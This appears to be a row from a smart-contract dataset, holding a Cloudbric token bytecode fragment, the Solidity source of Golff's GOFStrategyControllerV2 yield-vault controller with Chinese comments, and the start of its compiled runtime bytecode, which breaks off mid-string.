b6040518082815260200191505060405180910390f35b341561043257600080fd5b61043a61100e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561048757600080fd5b61048f611034565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104dc57600080fd5b610508600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061105a565b005b341561051557600080fd5b61051d611282565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561055d578082015181840152602081019050610542565b50505050905090810190601f16801561058a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105a357600080fd5b6105ab6112bb565b6040518082815260200191505060405180910390f35b34156105cc57600080fd5b610601600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112cc565b604051808215151515815260200191505060405180910390f35b341561062657600080fd5b61062e6115d8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561067b57600080fd5b6106836115fe565b005b341561069057600080fd5b6106c5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611677565b005b34156106d257600080fd5b610707600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506118ae565b604051808215151515815260200191505060405180910390f35b341561072c57600080fd5b610777600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611aaa565b6040518082815260200191505060405180910390f35b341561079857600080fd5b6107a0611b31565b005b34156107ad57600080fd5b6107e2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611bd8565b005b34156107ef57600080fd5b61081b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611d3b565b005b341561082857600080fd5b610830611e93565b6040518082815260200191505060405180910390f35b6040805190810160405280600981526020017f436c6f756462726963000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b600060011515600560149054906101000a900460ff16151514806109ec5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610a445750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610a4f57600080fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610ab957503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610b135750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610b6d5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610bc75750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b1515610bd257600080fd5b8483600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c65826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb390919063ffffffff16565b10151515610c7257600080fd5b610c7d878787611ecc565b93505050509392505050565b601260ff16600a0a633b9aca000281565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cfb57600080fd5b600560149054906101000a900460ff161515610d1657600080fd5b610d1f81612286565b50565b600560149054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e46576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610eda565b610e598382611eb390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110b657600080fd5b80600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561112057503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561117a5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156111d45750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561122e5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b151561123957600080fd5b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6040805190810160405280600381526020017f434c42000000000000000000000000000000000000000000000000000000000081525081565b601260ff16600a0a63202fbf000281565b600060011515600560149054906101000a900460ff161515148061133d5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806113955750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156113a057600080fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561140a57503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156114645750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156114be5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156115185750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b151561152357600080fd5b3383600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b6826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb390919063ffffffff16565b101515156115c357600080fd5b6115cd868661243e565b935050505092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561165a57600080fd5b6000600560146101000a81548160ff021916908315150217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116d357600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561173d57503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156117975750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156117f15750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561184b5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b151561185657600080fd5b60008211151561186557600080fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600061193f82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b8d57600080fd5b6001600560146101000a81548160ff021916908315150217905550611bd5600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600061087f565b50565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c3657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611c9357600080fd5b600560149054906101000a900460ff16151515611caf57600080fd5b60008214611cbd5781611ccc565b601260ff16600a0a63202fbf00025b9050601260ff16600a0a63202fbf00028111151515611cea57600080fd5b611cf4838261087f565b5082600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d9757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611dd357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601260ff16600a0a63202fbf0002601260ff16600a0a633b9aca00020381565b6000828211151515611ec157fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611f0957600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611f5657600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611fe157600080fd5b612032826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120c5826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061219682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156122d557600080fd5b339050612329826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb390919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238082600154611eb390919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561247b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156124c857600080fd5b612519826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125ac826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561267157fe5b80915050929150505600a165627a7a723058208a1031baceb5c1f7cb729bed90fb16479bbe4bc20a06aa6d531da8a8a60a38250029
|
{"success": true, "error": null, "results": {}}
| 3,229 |
0x5055cfADfbF9927deD44c183979085e2eC79Ed9d
|
pragma solidity ^0.5.16;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly {
codehash := extcodehash(account)
}
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require( address(this).balance >= amount, "Address: insufficient balance" );
(bool success, ) = recipient.call.value(amount)("");
require( success, "Address: unable to send value, recipient may have reverted" );
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function mint(address account, uint256 amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer( IERC20 token, address to, uint256 value ) internal { callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); }
function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal {
callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) );
}
function safeApprove( IERC20 token, address spender, uint256 value ) internal {
require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" );
callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) );
}
function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal {
uint256 newAllowance = token.allowance(address(this), spender).add( value );
callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) );
}
function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" );
callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) );
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" );
}
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor( string memory name, string memory symbol, uint8 decimals ) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
/**
* Vault Strategy Interface
*/
interface IGOFStrategy {
function want() external view returns (address);
function deposit() external;
function withdraw(address) external;
function withdraw(uint) external;
function withdrawAll() external returns (uint);
function balanceOf() external view returns (uint);
}
/**
*
*/
interface Converter {
function convert(address) external returns (uint);
}
/**
*
*/
interface OneSplitAudit {
function swap(
address fromToken,
address destToken,
uint256 amount,
uint256 minReturn,
uint256[] calldata distribution,
uint256 flags
)
external
payable
returns(uint256 returnAmount);
function getExpectedReturn(
address fromToken,
address destToken,
uint256 amount,
uint256 parts,
uint256 flags // See constants in IOneSplit.sol
)
external
view
returns(
uint256 returnAmount,
uint256[] memory distribution
);
}
/**
* @dev
* The controller of Strategy
* Distribute different strategies according to different tokens
*/
contract GOFStrategyControllerV2 {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public governance;
address public strategist;
address public onesplit;
address public rewards;
address public factory;
mapping(address => address) public vaults;
mapping(address => address) public strategies;
mapping(address => mapping(address => address)) public converters;
mapping(address => mapping(address => bool)) public approvedStrategies;
uint public split = 500;
uint public constant max = 10000;
constructor(address _rewards) public {
governance = tx.origin;
strategist = tx.origin;
onesplit = address(0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e);
rewards = _rewards;
}
function setFactory(address _factory) public {
require(msg.sender == governance, "Golff:!governance");
factory = _factory;
}
function setSplit(uint _split) public {
require(msg.sender == governance, "Golff:!governance");
split = _split;
}
function setOneSplit(address _onesplit) public {
require(msg.sender == governance, "Golff:!governance");
onesplit = _onesplit;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "Golff:!governance");
governance = _governance;
}
function setRewards(address _rewards) public {
require(msg.sender == governance, "Golff:!governance");
rewards = _rewards;
}
function setVault(address _token, address _vault) public {
require(msg.sender == strategist || msg.sender == governance, "Golff:!strategist");
require(vaults[_token] == address(0), "Golff:vault");
vaults[_token] = _vault;
}
function approveStrategy(address _token, address _strategy) public {
require(msg.sender == governance, "Golff:!governance");
approvedStrategies[_token][_strategy] = true;
}
function revokeStrategy(address _token, address _strategy) public {
require(msg.sender == governance, "Golff:!governance");
approvedStrategies[_token][_strategy] = false;
}
function setConverter(address _input, address _output, address _converter) public {
require(msg.sender == strategist || msg.sender == governance, "Golff:!strategist");
converters[_input][_output] = _converter;
}
function setStrategy(address _token, address _strategy) public {
require(msg.sender == strategist || msg.sender == governance, "Golff:!strategist");
require(approvedStrategies[_token][_strategy] == true, "Golff:!approved");
address _current = strategies[_token];
//之前存在策略,那就先把所有的资金提出来
if (_current != address(0)) {
IGOFStrategy(_current).withdrawAll();
}
strategies[_token] = _strategy;
}
/**
* 获取收益
* @param _token staking token
* @param _amount staking amount
*/
function earn(address _token, uint _amount) public {
address _strategy = strategies[_token]; //获取策略的合约地址
address _want = IGOFStrategy(_strategy).want();//策略需要的token地址
if (_want != _token) {//如果策略需要的和输入的不一样,需要先转换
address converter = converters[_token][_want];//转换器合约地址.
IERC20(_token).safeTransfer(converter, _amount);//给转换器打钱
_amount = Converter(converter).convert(_strategy);//执行转换...
IERC20(_want).safeTransfer(_strategy, _amount);
} else {
IERC20(_token).safeTransfer(_strategy, _amount);
}
IGOFStrategy(_strategy).deposit();//存钱
}
/**
* 获取token的余额
* @param _token staking token
*/
function balanceOf(address _token) external view returns (uint) {
return IGOFStrategy(strategies[_token]).balanceOf();
}
/**
* 提现全部
* @param _token staking token
*/
function withdrawAll(address _token) public {
require(msg.sender == strategist || msg.sender == governance, "Golff:!governance");
IGOFStrategy(strategies[_token]).withdrawAll();
}
/**
*
*/
function inCaseTokensGetStuck(address _token, uint _amount) public {
require(msg.sender == strategist || msg.sender == governance, "Golff:!governance");
IERC20(_token).safeTransfer(governance, _amount);
}
/**
*
*/
function getExpectedReturn(address _strategy, address _token, uint parts) public view returns (uint expected) {
uint _balance = IERC20(_token).balanceOf(_strategy);//获取策略器 某个代币的余额
address _want = IGOFStrategy(_strategy).want();//策略器需要的代币.
(expected,) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _balance, parts, 0);
}
// Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield
function yearn(address _strategy, address _token, uint parts) public {
require(msg.sender == strategist || msg.sender == governance, "Golff:!governance");
// This contract should never have value in it, but just incase since this is a public call
uint _before = IERC20(_token).balanceOf(address(this));
IGOFStrategy(_strategy).withdraw(_token);
uint _after = IERC20(_token).balanceOf(address(this));
if (_after > _before) {
uint _amount = _after.sub(_before);
address _want = IGOFStrategy(_strategy).want();
uint[] memory _distribution;
uint _expected;
_before = IERC20(_want).balanceOf(address(this));
IERC20(_token).safeApprove(onesplit, 0);
IERC20(_token).safeApprove(onesplit, _amount);
(_expected, _distribution) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _amount, parts, 0);
OneSplitAudit(onesplit).swap(_token, _want, _amount, _expected, _distribution, 0);
_after = IERC20(_want).balanceOf(address(this));
if (_after > _before) {
_amount = _after.sub(_before);
uint _reward = _amount.mul(split).div(max);
earn(_want, _amount.sub(_reward));
IERC20(_want).safeTransfer(rewards, _reward);
}
}
}
/**
* 提现
* @param _token token to ben withdraw
* @param _amount amount
*/
function withdraw(address _token, uint _amount) public {
require(msg.sender == vaults[_token], "Golff:!vault");
IGOFStrategy(strategies[_token]).withdraw(_amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c8063a1578b6a116100f9578063ccd0631811610097578063f3fef3a311610071578063f3fef3a314610a6d578063f712adbb14610abb578063f765417614610b05578063fa09e63014610b23576101c4565b8063ccd0631814610901578063e4f2494d14610985578063ec38a86214610a29576101c4565b8063b02bf4b9116100d3578063b02bf4b9146107b7578063c45a015514610805578063c494448e1461084f578063c6d758cb146108b3576101c4565b8063a1578b6a14610673578063a622ee7c146106ef578063ab033ea914610773576101c4565b80636ac5db1911610166578063714ccf7b11610140578063714ccf7b1461051d57806372cb5d97146105815780638da1df4d146105e55780639ec5a89414610629576101c4565b80636ac5db19146104255780636dcd64e51461044357806370a08231146104c5576101c4565b8063590bbb60116101a2578063590bbb60146103055780635aa6e675146103695780635bb47808146103b3578063674e694f146103f7576101c4565b806304209f48146101c95780631fe4a6861461023757806339ebf82314610281575b600080fd5b610235600480360360608110156101df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b67565b005b61023f61154e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102c36004803603602081101561029757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611574565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103676004803603604081101561031b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115a7565b005b610371611702565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103f5600480360360208110156103c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611727565b005b6104236004803603602081101561040d57600080fd5b810190808035906020019092919050505061182d565b005b61042d6118f9565b6040518082815260200191505060405180910390f35b6104af6004803603606081101561045957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118ff565b6040518082815260200191505060405180910390f35b610507600480360360208110156104db57600080fd5b81019080803573fffff